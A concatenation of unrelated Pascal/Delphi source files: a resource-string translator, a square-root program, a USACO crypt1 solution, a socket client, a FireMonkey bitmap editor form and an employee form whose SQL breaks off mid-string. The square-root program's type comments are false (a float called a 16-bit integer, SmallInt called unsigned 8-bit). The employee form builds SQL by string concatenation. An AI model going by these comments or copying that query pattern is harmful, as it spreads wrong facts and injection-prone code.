result := copy(aObjName, 1, pos('_', aObjName) - 1);
end;
function TcadCompTranslator.TranslateProp(const aObj: TObject; const aFormName, aObjName,
aPropertyName: String; TextToTranslate: WideString; var Translated:boolean): WideString;
var
ObjName : string;
begin
translated := false;
Result := TextToTranslate;
if DuplicatedObjName(aObjName) then
ObjName := OriginalObjName(aObjName)
else
ObjName := aObjName;
if Assigned(Translator.FTranslateProc) then
Translator.FTranslateProc(aObj, aFormName, ObjName, aPropertyName, Result, Translated);
end;
procedure TcadCompTranslator.ChangeCharsetProp(const aObj: TObject);
begin
if Assigned(Translator.FChangeCharsetProc) then
Translator.FChangeCharsetProc(aObj);
end;
{ TcadResourceTranslator }
// Assign new value to a resource string
procedure TcadResourceTranslator.HookResourceString(ResStringRec: pResStringRec; s: string);
var
OldProtect: DWORD;
NewStr: PChar;
begin
GetMem(NewStr, length(s)+1);
StrLCopy( NewStr, Pchar(s), length(s));
VirtualProtect(ResStringRec, SizeOf(ResStringRec^), PAGE_EXECUTE_READWRITE, @OldProtect) ;
ResStringRec^.Identifier := Integer(NewStr) ;
VirtualProtect(ResStringRec, SizeOf(ResStringRec^), OldProtect, @OldProtect) ;
end;
{ TcadCompTranslatorReg }
constructor TcadCompTranslatorReg.Create;
begin
FClass := nil;
FInstance := nil;
end;
destructor TcadCompTranslatorReg.Destroy;
begin
if Assigned(FInstance) then FInstance.Free;
inherited;
end;
function TcadCompTranslatorReg.GetInstance: TcadCompTranslator;
begin
if FInstance=nil then
FInstance := FClass.Create;
Result := FInstance;
end;
{ TcadResourceTranslatorReg }
constructor TcadResourceTranslatorReg.Create;
begin
FClass := nil;
FInstance := nil;
end;
destructor TcadResourceTranslatorReg.Destroy;
begin
if Assigned(FInstance) then FInstance.Free;
inherited;
end;
function TcadResourceTranslatorReg.GetInstance: TcadResourceTranslator;
begin
if FInstance=nil then
FInstance := FClass.Create;
Result := FInstance;
end;
procedure RegisterResourceTranslators(const aResources : Array of TcadResourceTranslatorClass);
var I: Integer;
begin
for I := 0 to High(aResources) do
Translator.RegisterResource(aResources[I]);
end;
procedure RegisterTranslators(const aClasses : Array of TcadCompTranslatorClass);
var I: Integer;
begin
for I := 0 to High(aClasses) do
Translator.RegisterClass(aClasses[I]);
end;
{ ErrnoTranslation }
{
constructor ErrnoTranslation.Create(const aComponent:TComponent);
var
compname : string;
compowner : TComponent;
begin
compname := '';
compowner := TComponent(aComponent).Owner;
while (compowner<>nil) do begin
if compowner.name<>'' then
compname := compowner.name + '.' + compname
else
compname := '(' + compowner.classname + ').' + compname;
compowner := compowner.Owner;
end;
compname := compname + TComponent(aComponent).name + ' ('+TComponent(aComponent).classname+')';
gLog.Log(Self, [lcXlateDetail], 'No transtalation for '+compname);
inherited create('No transtalation for '+compname);
end;}
{ TcadResourceTranslatorEN }
function TcadResourceTranslatorEN.TranslateProp(const aUnit, aVersion,
aConstName, aOriginalLang: String; TextToTranslate: String; var Translated:boolean): String;
begin
translated := false;
Result := TextToTranslate;
if Assigned(Translator.FTranslateResourceProc) then
Translator.FTranslateResourceProc(aUnit, aVersion, aConstName, 'en-us', Result, Translated);
end;
{ TcadResourceTranslatorPT }
function TcadResourceTranslatorPT.TranslateProp(const aUnit, aVersion,
aConstName, aOriginalLang: String; TextToTranslate: String; var Translated:boolean): String;
begin
translated := false;
Result := TextToTranslate;
if Assigned(Translator.FTranslateResourceProc) then
Translator.FTranslateResourceProc(aUnit, aVersion, aConstName, 'pt-br', Result, Translated);
end;
initialization
Translator := TcadTranslator.Create;
finalization
Translator.Free;
end.
|
Program SqRoot(input, output); {find the square root by averages}
{15/9/21 Nev Goodyer: v1.01 created from pseudo at https://bwattle.github.io/SquareRoot/JS/Q23.html}
{19/9/21 v1.02 updated from v1.01 to write iterative lines}
{NOTE: if decPlaces=8, the integer 16 will cause an infinite loop, cycint through the 2's compliment int16's}
{CLOSE WINDOW TO STOP INFINITE LOOP}
Uses crt, Math; {crt is a standard Pascal library, Math has standard Maths functions for line 16}
Var
number, minimum, maximum, middle, accuracy: single; {16 bit integer - signed to approx 32,000}
decPlaces, loopNum : SmallInt; {8 bit integer - unsigned 0-255}
Begin
Writeln('Enter the number you want the square root of: ');
Readln(number);
Writeln('Enter the accuracy in number of decimal places: ');
Readln(decPlaces);
minimum := 0 ;
maximum := number ;
middle := (minimum + maximum) / 2 ;
accuracy := Power (10, (-1 * decPlaces)) ; {needs the "Math" library for "Power" to work}
loopNum := 0;
Writeln('Loop 0, middle = ' , middle);
While Abs((middle * middle) - number) > accuracy Do
Begin
If middle * middle > Number Then
Begin
maximum := middle ;
End
Else
Begin
minimum := middle ;
End;
middle := (minimum + maximum) / 2;
loopNum := loopNum + 1;
Writeln('Loop ', loopNum, ', middle = ', middle);
End;
middle:= Int(middle / accuracy) * accuracy ;
Writeln('The unformatted square root is ', middle);
{at the end of the next line, 0 is minimum total digits: decPlaces is what it says}
Writeln('The formatted square root is ', middle:0:decPlaces);
End . |
{
ID: nghoang4
PROG: crypt1
LANG: PASCAL
}
const fi = 'crypt1.in';
fo = 'crypt1.out';
var a: array[1..9] of byte;
n: byte;
count: longint;
procedure Init;
var i: byte;
begin
assign(input,fi); reset(input);
readln(n);
for i:=1 to n do read(a[i]);
close(input);
end;
function Check(x: longint; i: byte): boolean;
var j, r: byte;
kt: boolean;
begin
if (i=3) and (x > 999) then exit(false);
if (i=4) and (x > 9999) then exit(false);
while x > 0 do
begin
r:=x mod 10;
kt:=false;
for j:=1 to n do
if r = a[j] then
begin
kt:=true;
break;
end;
if not kt then exit(false);
x:=x div 10;
end;
exit(true);
end;
procedure Solve;
var i1, i2, i3, j1, j2: byte;
x, y: longint;
begin
count:=0;
for i1:=1 to n do
for i2:=1 to n do
for i3:=1 to n do
begin
x:=a[i1]*100+a[i2]*10+a[i3];
for j1:=1 to n do
for j2:=1 to n do
begin
y:=a[j1]*10+a[j2];
if Check(x*a[j1],3) and Check(x*a[j2],3) and Check(x*y,4) then inc(count);
end;
end;
end;
procedure PrintResult;
begin
assign(output,fo); rewrite(output);
writeln(count);
close(output);
end;
begin
Init;
Solve;
PrintResult;
end.
|
unit u_SocketClient;
{$MODE objfpc}{$H+}
interface
uses
SysUtils, Socket_Unit, u_CommBag ,SyncObjs;
{ TPDAClient }
type
TPDAClient = class
private
FRecvBuf: TByteArray;
FBufMaxLen: integer;
FClient: longint;
FSvrIP:String;
FSvrPort:Word;
FCS: TCriticalSection;
FLastErrCode:Integer;
FNormalErr:TErrorInfo;
FOrdNum:Byte;
function _SendAndRecvCB(const OrdNum,CMD: byte; const Data; const DataLen: word;var RecvCB:TCommBag): boolean;
function _GetSvr(const CMD: byte; var Data; const DataLen: word): boolean;
function GetSvr(const CMD: byte; var Data; const DataLen: word): boolean;
function _ReConnPDASvr(): boolean;
public
constructor Create;
destructor Destroy;override;
function ConnPDASvr(const ip: string; const port: integer): boolean;
function ReConnPDASvr(): boolean;
procedure DisConn();
function GetSvrTime(var dt: TDateTime): boolean;
function GetDriverInfo(var Driver: TUserInfo): boolean;
function GetGuardInfo(var Guard: TUserInfo): boolean;
function GetCarInfo(var Car: TCarInfo): boolean;
function SaveInOutRec(var IOR: TInOutRec): boolean;
property LastErrCode:Integer read FLastErrCode;
property NormalErr:TErrorInfo read FNormalErr;
end;
implementation
constructor TPDAClient.Create;
begin
inherited;
FOrdNum:=0;
FCS:= TCriticalSection.Create;
end;
destructor TPDAClient.Destroy;
begin
FCS.Free;
inherited Destroy;
end;
function TPDAClient.ConnPDASvr(const ip: string; const port: integer): boolean;
begin
FBufMaxLen := SizeOf(TByteArray);
FillChar(FRecvBuf, FBufMaxLen, 0);
FSvrIP:=ip;
FSvrPort:=port;
Result := ReConnPDASvr();
end;
function TPDAClient._ReConnPDASvr(): boolean;
begin
Result:=False;
try
if Trim(FSvrIP)='' then exit;
if FClient > 0 then
CloseNetDev(FClient);
FClient := ConnNetDev(PChar(FSvrIP), FSvrPort);
//CE Not Support
if FClient > 0 then
SetSocket_SR_Param(FClient, Send_TO, Recv_TO);
Result := (FClient > 0);
except
;
end;
end;
function TPDAClient._SendAndRecvCB(const OrdNum,CMD: byte; const Data; const DataLen: word;var RecvCB:TCommBag): boolean;
var
CB: TCommBag;
readLen,rt: integer;
begin
Result := False;
CB := GetCommBag(OrdNum,CMD, Data, DataLen);
rt := SendBag(FClient, CB);
if rt <= 0 then
begin
FLastErrCode:=rt;
exit;
end;
rt := SelectRecvData(FClient, FRecvBuf, FBufMaxLen);
if rt <= 0 then
begin
FLastErrCode:=rt;
exit;
end;
readLen:=rt;
if not ParseCommBag(@FRecvBuf, readLen, RecvCB) then
begin
FLastErrCode:=-100; //数据包解析错误
exit;
end;
Result:=True;
end;
function TPDAClient._GetSvr(const CMD: byte; var Data; const DataLen: word): boolean;
var
RecvCB: TCommBag;
begin
Result := False;
try
FLastErrCode:=0;
FillChar(FNormalErr,SizeOf(TErrorInfo),0);
Inc(FOrdNum);
if not _SendAndRecvCB(FOrdNum,CMD, Data, DataLen,RecvCB) then exit;
if RecvCB.OrdNum<>FOrdNum then
begin
FLastErrCode:=-103;//通讯序号不一致!
Exit;
end;
if RecvCB.CMD<>CMD then
begin
case RecvCB.CMD of
CMD_Error:begin
Move(RecvCB.Data^, FNormalErr, RecvCB.DataLen);
FLastErrCode:=-1000; //服务器提示
end;
else begin
FLastErrCode:=-101; //异常返回指令
end;
end;
Exit;
end;
//对数据包Data与Rec大小比较
if DataLen<>RecvCB.DataLen then
begin
FLastErrCode:=-102; //返回的数据包长度异常
Exit;
end;
Move(RecvCB.Data^, Data, RecvCB.DataLen);
Result := True;
finally
if Assigned(RecvCB.Data) then
FreeMem(RecvCB.Data,RecvCB.DataLen);
end;
end;
function TPDAClient.ReConnPDASvr(): boolean;
begin
FCS.Enter;
try
Result:=_ReConnPDASvr();
finally
FCS.Leave;;
end;
end;
procedure TPDAClient.DisConn();
begin
FCS.Enter;
try
CloseNetDev(FClient);
finally
FCS.Leave;;
end;
end;
function TPDAClient.GetSvr(const CMD: byte; var Data; const DataLen: word): boolean;
begin
FCS.Enter;
try
Result:=_GetSvr(CMD,Data,DataLen);
finally
FCS.Leave;;
end;
end;
function TPDAClient.GetSvrTime(var dt: TDateTime): boolean;
begin
Result := GetSvr(CMD_SvrTime,dt,sizeof(TDateTime));
end;
function TPDAClient.GetDriverInfo(var Driver: TUserInfo): boolean;
begin
Driver.UserType:=UT_Driver;
Result := GetSvr(CMD_User,Driver,sizeof(TUserInfo));
end;
function TPDAClient.GetGuardInfo(var Guard: TUserInfo): boolean;
begin
Guard.UserType:=UT_Guard;
Result := GetSvr(CMD_User,Guard,sizeof(TUserInfo));
end;
function TPDAClient.GetCarInfo(var Car: TCarInfo): boolean;
begin
Result := GetSvr(CMD_Car,Car,sizeof(TCarInfo));
end;
function TPDAClient.SaveInOutRec(var IOR: TInOutRec): boolean;
begin
Result := GetSvr(CMD_InOutRec,IOR,sizeof(TInOutRec));
end;
end.
|
{*******************************************************}
{ }
{ Delphi FireMonkey Platform }
{ }
{ Copyright(c) 2011-2018 Embarcadero Technologies, Inc. }
{ All rights reserved }
{ }
{*******************************************************}
unit FMX.Design.Bitmap;
interface
uses
System.SysUtils, System.Classes, System.Types, System.UITypes, System.Math, VCL.Forms, FMX.Forms, FMX.Graphics,
FMX.Dialogs, FMX.Types, FMX.Controls, FMX.Layouts, FMX.Objects, FMX.Edit, FMX.Effects, FMX.StdCtrls,
FMX.NumberBox, System.Actions, FMX.ActnList, FMX.EditBox, FMX.Controls.Presentation;
type
TBitmapDesigner = class(TForm)
Button1: TButton;
Layout1: TLayout;
Button2: TButton;
btnOk: TButton;
ScrollBox1: TScrollBox;
Preview: TPaintBox;
labelScale: TLabel;
trackScale: TTrackBar;
cropButton: TButton;
Image1: TImage;
btnFit: TButton;
btnOriginal: TButton;
Button3: TButton;
newWidth: TNumberBox;
Label1: TLabel;
Label2: TLabel;
newHeight: TNumberBox;
resizeLayout: TPanel;
ShadowEffect1: TShadowEffect;
Button4: TButton;
Button5: TButton;
btnResize: TButton;
btnSave: TButton;
editControl: TLayout;
Label3: TLabel;
ResizeScale: TTrackBar;
ScaleLabel: TLabel;
SaveDialog1: TSaveDialog;
ActionList1: TActionList;
ActnHelp: TAction;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure PreviewPaint(Sender: TObject; const Canvas: TCanvas);
procedure trackScaleChange(Sender: TObject);
procedure cropButtonClick(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure trackScaleMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
procedure btnFitClick(Sender: TObject);
procedure btnOriginalClick(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure btnResizeClick(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure newWidthChange(Sender: TObject);
procedure newHeightChange(Sender: TObject);
procedure btnSaveClick(Sender: TObject);
procedure ResizeScaleChange(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure ActnHelpExecute(Sender: TObject);
private
{ Private declarations }
FBitmap: TBitmap;
FSourceRect: TRectF;
FCropRect: TSelection;
FOldScale: single;
FFileName: string;
FCheckboardBitmap: TBitmap;
procedure PrepareCheckboardBitmap;
function GetScrollBoxRect: TRectF;
procedure UpdateCropRectMinSize;
function PrepareForCrop: TRectF;
procedure UpdateResizeX;
public
{ Public declarations }
procedure AssignFromBitmap(B: TBitmap);
procedure AssignToBitmap(B: TBitmap);
property FileName: string read FFileName write FFileName;
end;
resourcestring
sScaleCaption = 'Scale:';
sCropCaption = 'Crop';
sCropCaptionFull = 'Full';
var
BitmapDesigner: TBitmapDesigner;
implementation
uses
FMX.Ani;
{$R *.fmx}
procedure TBitmapDesigner.FormCreate(Sender: TObject);
begin
FBitmap := TBitmap.Create(0, 0);
FOldScale := 1;
resizeLayout.Visible := false;
UpdateResizeX;
end;
procedure TBitmapDesigner.FormDestroy(Sender: TObject);
begin
FreeAndNil(FCheckboardBitmap);
FreeAndNil(FBitmap);
end;
procedure TBitmapDesigner.FormResize(Sender: TObject);
begin
UpdateResizeX;
end;
procedure TBitmapDesigner.Button1Click(Sender: TObject);
var
D: TOpenDialog;
begin
if (Assigned(FCropRect)) then
begin
FreeAndNil(FCropRect);
cropButton.Text := sCropCaption;
end;
D := TOpenDialog.Create(Application);
try
D.Filter := TBitmapCodecManager.GetFilterString;
if D.Execute then
begin
FileName := D.FileName;
FBitmap.LoadFromFile(D.FileName);
FSourceRect := RectF(0, 0, FBitmap.Width, FBitmap.Height);
if not SameValue(Preview.Width, FBitmap.Width * trackScale.Value) or
not SameValue(Preview.Height, FBitmap.Height * trackScale.Value) then
begin
Preview.Width := FBitmap.Width * trackScale.Value;
Preview.Height := FBitmap.Height * trackScale.Value;
end else
Preview.Repaint;
editControl.Enabled := true;
btnOk.Enabled := true;
end;
finally
D.Free;
end;
BringToFront;
end;
procedure TBitmapDesigner.PrepareCheckboardBitmap;
var
i, j: Integer;
M: TBitmapData;
begin
if not Assigned(FCheckboardBitmap) then
begin
FCheckboardBitmap := TBitmap.Create(32, 32);
if FCheckboardBitmap.Map(TMapAccess.Write, M) then
try
for j := 0 to FCheckboardBitmap.Height - 1 do
begin
for i := 0 to FCheckboardBitmap.Width - 1 do
begin
if odd(i div 8) and not odd(j div 8) then
M.SetPixel(i, j, $FFA0A0A0)
else if not odd(i div 8) and odd(j div 8) then
M.SetPixel(i, j, $FFA0A0A0)
else
M.SetPixel(i, j, $FFFFFFFF)
end;
end;
finally
FCheckboardBitmap.Unmap(M);
end;
end;
end;
procedure TBitmapDesigner.PreviewPaint(Sender: TObject; const Canvas: TCanvas);
begin
PrepareCheckboardBitmap;
Canvas.Fill.Kind := TBrushKind.Bitmap;
Canvas.Fill.Bitmap.Bitmap := FCheckboardBitmap;
Canvas.FillRect(RectF(0, 0, RectWidth(FSourceRect) * trackScale.Value, RectHeight(FSourceRect) * trackScale.Value), 0, 0, [], 1);
if trackScale.Value > 1 then
Canvas.DrawBitmap(FBitmap, FSourceRect, RectF(0, 0, RectWidth(FSourceRect) * trackScale.Value, RectHeight(FSourceRect) * trackScale.Value), Preview.AbsoluteOpacity, True)
else
Canvas.DrawBitmap(FBitmap, FSourceRect, RectF(0, 0, RectWidth(FSourceRect) * trackScale.Value, RectHeight(FSourceRect) * trackScale.Value), Preview.AbsoluteOpacity, False);
end;
procedure TBitmapDesigner.ResizeScaleChange(Sender: TObject);
begin
newWidth.Value := round(FBitmap.Width * ResizeScale.Value);
newHeight.Value := round(FBitmap.Height * ResizeScale.Value);
ScaleLabel.Text := IntToStr(round(ResizeScale.Value * 100)) + '%';
end;
procedure TBitmapDesigner.UpdateCropRectMinSize;
const
DefaultSelectionMinSize = 15;
MaxCropMinProp = 4;
begin
if (FBitmap.Width * trackScale.Value < FCropRect.MinSize * MaxCropMinProp) or
(FBitmap.Height * trackScale.Value < FCropRect.MinSize * MaxCropMinProp) then
FCropRect.MinSize := 1
else
FCropRect.MinSize := DefaultSelectionMinSize;
end;
procedure TBitmapDesigner.trackScaleChange(Sender: TObject);
begin
Preview.Width := FBitmap.Width * trackScale.Value;
Preview.Height := FBitmap.Height * trackScale.Value;
if FCropRect <> nil then
begin
FCropRect.Position.X := (FCropRect.Position.X / FOldScale) * trackScale.Value;
FCropRect.Position.Y := (FCropRect.Position.Y / FOldScale) * trackScale.Value;
FCropRect.Width := (FCropRect.Width / FOldScale) * trackScale.Value;
FCropRect.Height := (FCropRect.Height / FOldScale) * trackScale.Value;
UpdateCropRectMinSize;
end;
FOldScale := trackScale.Value;
labelScale.Text := sScaleCaption + ' ' + IntToStr(Round(trackScale.Value * 100)) + '%';
end;
function TBitmapDesigner.GetScrollBoxRect: TRectF;
begin
Result := ScrollBox1.LocalRect;
if (Result.Width > ScrollBox1.ClientWidth) then
Result.Width := ScrollBox1.ClientWidth;
if (Result.Height > ScrollBox1.ClientHeight) then
Result.Height := ScrollBox1.ClientHeight;
end;
function TBitmapDesigner.PrepareForCrop: TRectF;
var
ViewRect: TRectF;
NewScale: Single;
Pos: TPointF;
begin
ViewRect := GetScrollBoxRect;
if (FBitmap.Width < ViewRect.Width) and (FBitmap.Height < ViewRect.Height) then
begin
NewScale := 1 / RectF(0, 0, FBitmap.Width, FBitmap.Height).Fit(ViewRect);
if (NewScale > trackScale.Value) then
trackScale.Value := NewScale;
end;
Pos := ScrollBox1.ViewportPosition;
Result.Left := Trunc(Min(Pos.X + ScrollBox1.ClientWidth * 0.1,
FBitmap.Width * 0.1 * trackScale.Value));
Result.Right := Trunc(Min(Pos.X + ScrollBox1.ClientWidth * 0.9,
FBitmap.Width * 0.9 * trackScale.Value));
Result.Top := Trunc(Min(Pos.Y + ScrollBox1.ClientHeight * 0.1,
FBitmap.Height * 0.1 * trackScale.Value));
Result.Bottom := Trunc(Min(Pos.Y + ScrollBox1.ClientHeight * 0.9,
FBitmap.Height * 0.9 * trackScale.Value));
end;
procedure TBitmapDesigner.cropButtonClick(Sender: TObject);
var
InitCropRect: TRectF;
begin
if not Assigned(FCropRect) then
begin
InitCropRect:= PrepareForCrop;
FCropRect := TSelection.Create(Self);
FCropRect.Parent := ScrollBox1;
cropButton.Text := sCropCaptionFull;
FCropRect.SetBounds(InitCropRect.Left, InitCropRect.Top, InitCropRect.Width, InitCropRect.Height);
FCropRect.GripSize:= 4;
UpdateCropRectMinSize;
end
else
begin
FreeAndNil(FCropRect);
Preview.Repaint;
cropButton.Text := sCropCaption;
end;
end;
procedure TBitmapDesigner.btnOkClick(Sender: TObject);
begin
ModalResult := mrOk;
end;
procedure TBitmapDesigner.ActnHelpExecute(Sender: TObject);
begin
VCL.Forms.Application.HelpContext(16510);
end;
procedure TBitmapDesigner.AssignFromBitmap(B: TBitmap);
begin
FileName := '';
if B <> nil then
FBitmap.Assign(B);
FSourceRect := RectF(0, 0, FBitmap.Width, FBitmap.Height);
Preview.Width := FBitmap.Width * trackScale.Value;
Preview.Height := FBitmap.Height * trackScale.Value;
if B.Width > 1 then
begin
editControl.Enabled := true;
btnOk.Enabled := true;
end;
end;
procedure TBitmapDesigner.AssignToBitmap(B: TBitmap);
var
CR: TRectF;
begin
if B <> nil then
begin
if (FCropRect <> nil) and (FCropRect.Width > 0) and (FCropRect.Height > 0) then
begin
CR := RectF(FCropRect.Position.X / trackScale.Value, FCropRect.Position.Y / trackScale.Value,
(FCropRect.Position.X + FCropRect.Width) / trackScale.Value, (FCropRect.Position.Y + FCropRect.Height) / trackScale.Value);
B.SetSize(Trunc(RectWidth(CR)), Trunc(RectHeight(CR)));
B.CopyFromBitmap(FBitmap, CR.Round, 0, 0);
end
else
begin
B.Assign(FBitmap);
end;
end;
end;
procedure TBitmapDesigner.UpdateResizeX;
begin
resizeLayout.Position.Point := TPointF.Create(
Round(Max(-newHeight.Position.X, (ClientWidth - resizeLayout.Width) / 2)), resizeLayout.Position.Y);
end;
procedure TBitmapDesigner.Button2Click(Sender: TObject);
begin
ModalResult := mrCancel;
end;
procedure TBitmapDesigner.trackScaleMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Single);
begin
if ssDouble in Shift then trackScale.Value := 1;
end;
procedure TBitmapDesigner.btnFitClick(Sender: TObject);
var
R: TRectF;
begin
R := RectF(0, 0, FBitmap.Width, FBitmap.Height);
trackScale.Value := 1 / R.Fit(GetScrollBoxRect);
end;
procedure TBitmapDesigner.btnOriginalClick(Sender: TObject);
begin
trackScale.Value := 1;
end;
procedure TBitmapDesigner.Button3Click(Sender: TObject);
begin
editControl.Enabled := false;
btnOk.Enabled := true;
if FCropRect <> nil then cropButtonClick(Self);
trackScale.Value := 1;
FBitmap.SetSize(0, 0);
FSourceRect := RectF(0, 0, FBitmap.Width, FBitmap.Height);
Preview.Width := FBitmap.Width * trackScale.Value;
Preview.Height := FBitmap.Height * trackScale.Value;
end;
procedure TBitmapDesigner.btnResizeClick(Sender: TObject);
begin
if FBitmap.IsEmpty then Exit;
Layout1.Enabled := False;
newWidth.Value := FBitmap.Width;
newHeight.Value := FBitmap.Height;
resizeLayout.Visible := true;
resizeLayout.Position.Y := -resizeLayout.Height;
TAnimator.AnimateFloat(resizeLayout, 'Position.Y', 0, 0.3);
end;
procedure TBitmapDesigner.Button4Click(Sender: TObject);
var
tmp: TBitmap;
SaveFileName: string;
begin
{ resize }
SaveFileName := FileName;
tmp := TBitmap.Create(trunc(newWidth.Value), trunc(newHeight.Value));
if tmp.Canvas.BeginScene then
try
tmp.Canvas.DrawBitmap(FBitmap, RectF(0, 0, FBitmap.Width, FBitmap.Height), RectF(0, 0, tmp.Width, tmp.Height), 1);
finally
tmp.Canvas.EndScene;
end;
AssignFromBitmap(tmp);
tmp.Free;
FileName := SaveFileName;
{ }
TAnimator.AnimateFloatWait(resizeLayout, 'Position.Y', -resizeLayout.Height, 0.3);
resizeLayout.Visible := false;
Layout1.Enabled := True;
end;
procedure TBitmapDesigner.Button5Click(Sender: TObject);
begin
TAnimator.AnimateFloatWait(resizeLayout, 'Position.Y', -resizeLayout.Height, 0.3);
resizeLayout.Visible := false;
Layout1.Enabled := True;
end;
procedure TBitmapDesigner.newWidthChange(Sender: TObject);
begin
if Assigned(FBitmap) and not FBitmap.IsEmpty then
newHeight.Value := Round(newWidth.Value * (FBitmap.Height / FBitmap.Width));
end;
procedure TBitmapDesigner.newHeightChange(Sender: TObject);
begin
if Assigned(FBitmap) and not FBitmap.IsEmpty then
newWidth.Value := Round(newHeight.Value * (FBitmap.Width / FBitmap.Height));
end;
procedure TBitmapDesigner.btnSaveClick(Sender: TObject);
begin
SaveDialog1.Filter := TBitmapCodecManager.GetFilterString;
SaveDialog1.FileName := FFileName;
if SaveDialog1.Execute then
FBitmap.SaveToFile(SaveDialog1.FileName);
end;
end.
|
unit UEmpForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, pegradpanl, StdCtrls, Mask, Grids, DBGrids, Db, DBTables, pegraphic, DBClient, MIDAScon,
Tmax_DataSetText, OnDBGrid, OnFocusButton, ComCtrls, OnShapeLabel,
OnGrDBGrid, OnEditBaseCtrl, OnEditStdCtrl, OnEditBtnCtrl,
OnPopupEdit, OnEditMemo;
type
TFm_EmpForm = class(TForm)
ds1: TDataSource;
Query1: TTMaxDataSet;
Panel2: TPanel;
BB_close: TOnFocusButton;
Sb_Ok: TOnFocusButton;
Sb_Close: TOnFocusButton;
Grid1: TOnGrDbGrid;
Memo1: TMemo;
RG_Sort: TRadioGroup;
E_Notice: TOnMemo;
procedure FormCreate(Sender: TObject);
procedure Pa_TitleMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
procedure Sb_CloseClick(Sender: TObject);
procedure Sb_OkClick(Sender: TObject);
procedure Grid1KeyPress(Sender: TObject; var Key: Char);
procedure RG_SortClick(Sender: TObject);
private
{ Private declarations }
FOrgDept : string;
Fempno : string;
Fkorname : string;
FConyn : string;
FFinyn : string;
SqlText : string;
public
Edit : TOnWinPopupEdit;
FCloseYn : Boolean;
FSelectYn : Boolean;
// property OrgDeptList : string read FOrgDept write FOrgDept;
property empno : string read Fempno write Fempno;
property korname : string read Fkorname write Fkorname;
property Conyn : string read FConyn write FConyn;
property Finyn : string read FFinyn write FFinyn;
procedure SqlOpen;
end;
var
Fm_EmpForm : TFm_EmpForm;
implementation
uses UMainForm;
{$R *.DFM}
procedure TFm_EmpForm.FormCreate(Sender: TObject);
begin
FCloseYn := False;
end;
procedure TFm_EmpForm.Pa_TitleMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
begin
if ssleft in shift then
begin
Releasecapture;
Self.Perform(WM_SYSCOMMAND, $F012, 0);
end;
end;
procedure TFm_EmpForm.Sb_OkClick(Sender: TObject);
begin
if (FM_MAIN.AEmpno = Query1.FieldByName('empno').AsString) or (Query1.FieldByName('Conyn').AsString = 'Y') then
begin
if Query1.FieldByName('Finyn').AsString = 'Y' then
MessageDlg('이미 [IDP 등록 결재]를 완료 하였습니다.' + #13+#13+
'내용 확인만 할수 있습니다.', mtConfirmation, [mbOK],0);
Fempno := Query1.FieldByName('empno').AsString;
Fkorname := Query1.FieldByName('korname').AsString;
FConyn := Query1.FieldByName('conyn').AsString;
FFinyn := Query1.FieldByName('finyn').AsString;
FCloseYn := False;
Edit.PopupForm.ClosePopup(False);
end
else
begin
If (Query1.FieldByName('Finyn').AsString = 'R') Then
Begin
Fempno := Query1.FieldByName('empno').AsString;
Fkorname := Query1.FieldByName('korname').AsString;
FConyn := Query1.FieldByName('conyn').AsString;
FFinyn := Query1.FieldByName('finyn').AsString;
FCloseYn := False;
FM_MAIN.Select_BaseData;
Edit.PopupForm.ClosePopup(False);
End
Else
MessageDlg('구성원이 아직 등록 작업을 마치지 않았습니다.'+#13 ,mtError,[mbOK],0);
end;
end;
procedure TFm_EmpForm.SqlOpen;
var
i : integer;
Field : TField;
Str : string;
OleData : OleVariant;
SqlText : string;
begin
{
SqlText := ' SELECT A.EMPNO, A.KORNAME, A.ORGNUM,B.DEPTCODE,B.DEPTNAME, '+
' A.PAYCL, C.CODENAME PAYCLNAME, A.PAYRA, E.CODENAME PAYRANAME, '+
' A.PAYRAYN , A.JOBPAYRAYN , '+
' D.CONYN,D.FINYN, '+
' decode(D.finyn,''R'',''반려'',''Y'',''결재완료'', '+
' decode(D.conyn,''Y'',''결재상신중'', ''등록중'')) prog '+
' FROM PIMPMAS A, PYCDEPT B, PYCCODE C, PYCCODE E, '+
' (select empno,nvl(RVALCONYN,''Z'') conyn, nvl(E1VALCONYN,''Z'') finyn, '+
' E1EMPNO from PEIDPMAS WHERE BASE_YY = '''+ FM_Main.sbase_yy +''') D '+
' WHERE a.pstate < '''+FM_Main.pstate +''' '+
' AND a.payra >= '''+FM_Main.payrafr+''' '+
' AND a.payra <= '''+FM_Main.payrato+''' '+
' AND a.empno not in ('''+FM_Main.objemp1 +''', '''+FM_Main.objemp2 +''' , '+
' '''+FM_Main.objemp3 +''', '''+FM_Main.objemp4 +''' , '+
' '''+FM_Main.objemp5 +''', '''+FM_Main.objemp6 +''' , '+
' '''+FM_Main.objemp7 +''', '''+FM_Main.objemp8 +''' , '+
' '''+FM_Main.objemp9 +''', '''+FM_Main.objemp10 +''' ) '+
' AND a.deptcode not in ('''+FM_Main.objdept1+''', '''+FM_Main.objdept2 +''' , '+
' '''+FM_Main.objdept3+''', '''+FM_Main.objdept4 +''' , '+
' '''+FM_Main.objdept5+''', '''+FM_Main.objdept6 +''' , '+
' '''+FM_Main.objdept7+''', '''+FM_Main.objdept8 +''' , '+
' '''+FM_Main.objdept9+''', '''+FM_Main.objdept10+''' ) '+
' AND A.DEPTCODE = B.DEPTCODE '+
' AND A.ORGNUM = B.ORGNUM '+
' AND A.PAYCL = C.CODENO(+) AND C.CODEID(+) = ''I112'' '+
' AND A.PAYRA = E.CODENO(+) AND E.CODEID(+) = ''I113'' '+
' AND A.EMPNO = D.EMPNO(+) '+
' AND SUBSTR(A.EMPNO,1,1) NOT IN (''Q'',''P'',''Y'',''J'') ';
}
SqlText := ' SELECT A.EMPNO, A.KORNAME, B.DEPTNAME, D.CONYN, D.FINYN, '+
' decode(D.finyn,''R'',''반려'',''Y'',''결재완료'', '+
' decode(D.conyn,''Y'',''결재상신중'', ''등록중'')) prog, '+
' F.BAND, F.PAYCLPOINT, F.YEARPOINT, F.APPPOINT '+
' FROM PIMPMAS A, PYCDEPT B, PYCCODE C, PYCCODE E, '+
